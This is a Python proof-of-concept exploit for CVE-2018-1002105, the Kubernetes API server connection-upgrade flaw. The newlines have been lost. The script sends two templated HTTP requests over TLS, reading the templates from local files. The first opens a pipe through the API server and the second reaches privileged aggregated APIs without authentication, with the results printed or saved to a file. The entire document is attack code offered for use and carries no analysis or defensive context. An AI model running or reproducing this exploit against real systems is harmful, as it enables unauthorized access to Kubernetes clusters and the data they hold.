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#!/usr/bin/env python3 import argparse from ssl import wrap_socket from json import loads, dumps from socket import create_connection def request_stage_1(base, version, target): stage_1 = "" with open('ustage_1', 'r') as stage_1_fd: stage_1 = stage_1_fd.read() return stage_1.format(base, version, target ).encode('utf-8') def request_stage_2(base, version, target_api, target): stage_2 = "" with open('ustage_2', 'r') as stage_2_fd: stage_2 = stage_2_fd.read() return stage_2.format(base, version, target_api, target, ).encode('utf-8') def read_data(ssock): data = [] data_incoming = True while data_incoming: data_in = ssock.recv(4096) if not data_in: data_incoming = False elif data_in.find(b'\n\r\n0\r\n\r\n') != -1: data_incoming = False offset_1 = data_in.find(b'{') offset_2 = data_in.find(b'}\n') if offset_1 != -1 and offset_2 != -1: data_in = data_in[offset_1-1:offset_2+1] elif offset_1 != -1: data_in = data_in[offset_1-1:] elif offset_2 != -1: data_in = data_in[:offset_2-1] data.append(data_in) return data def run_exploit(target, stage_1, stage_2, filename, json): host, port = target.split(':') with create_connection((host, port)) as sock: with wrap_socket(sock) as ssock: print('[*] Building pipe ...') ssock.send(stage_1) data_in = ssock.recv(15) if b'HTTP/1.1 200 OK' in data_in: print('[+] Pipe opened :D') read_data(ssock) else: print('[-] Not sure if this went well...') print(f"[*] Attempting to access url") ssock.send(stage_2) data_in = ssock.recv(15) if b'HTTP/1.1 200 OK' in data_in: print('[+] Pipe opened :D') data = read_data(ssock) return data def parse_output(data, json, filename): if json: j = loads(''.join(i.decode('utf-8') for i in data)) data = dumps(j, indent=4) if filename: mode = 'w+' else: mode = 'wb+' if filename: print(f"[*] Writing output to {filename} ....") with open(filename, mode) as fd: if json: fd.write(data) else: for msg in data: fd.write(msg) print('[+] Done!') else: if json: print(data) else: print(''.join(msg.decode('unicode_escape') for msg in data)) def main(): parser = argparse.ArgumentParser(description='Unauthenticated PoC for' ' CVE-2018-1002105') required = parser.add_argument_group('required arguments') optional = parser.add_argument_group('optional arguments') required.add_argument('--target', '-t', dest='target', type=str, help='API server target:port', required=True) required.add_argument('--api-base', '-b', dest='base', type=str, help='Target API name i.e. "servicecatalog.k8s.io"', default="servicecatalog.k8s.io") required.add_argument('--api-target', '-u', dest='target_api', type=str, help='API to access i.e. "clusterservicebrokers"', default="clusterservicebrokers") optional.add_argument('--api-version', '-a', dest='version', type=str, help='API version to use i.e. "v1beta1"', default="v1beta1") optional.add_argument('--json', '-j', dest='json', action='store_true', help='Print json output', default=False) optional.add_argument('--filename', '-f', dest='filename', type=str, help='File to save output to', default=False) args = parser.parse_args() if args.target.find(':') == -1: print("f[-] invalid target {args.target}") return False stage1 = request_stage_1(args.base, args.version, args.target) stage2 = request_stage_2(args.base, args.version, args.target_api, args.target) output = run_exploit(args.target, stage1, stage2, args.filename, args.json) parse_output(output, args.json, args.filename) if __name__ == '__main__': main() |
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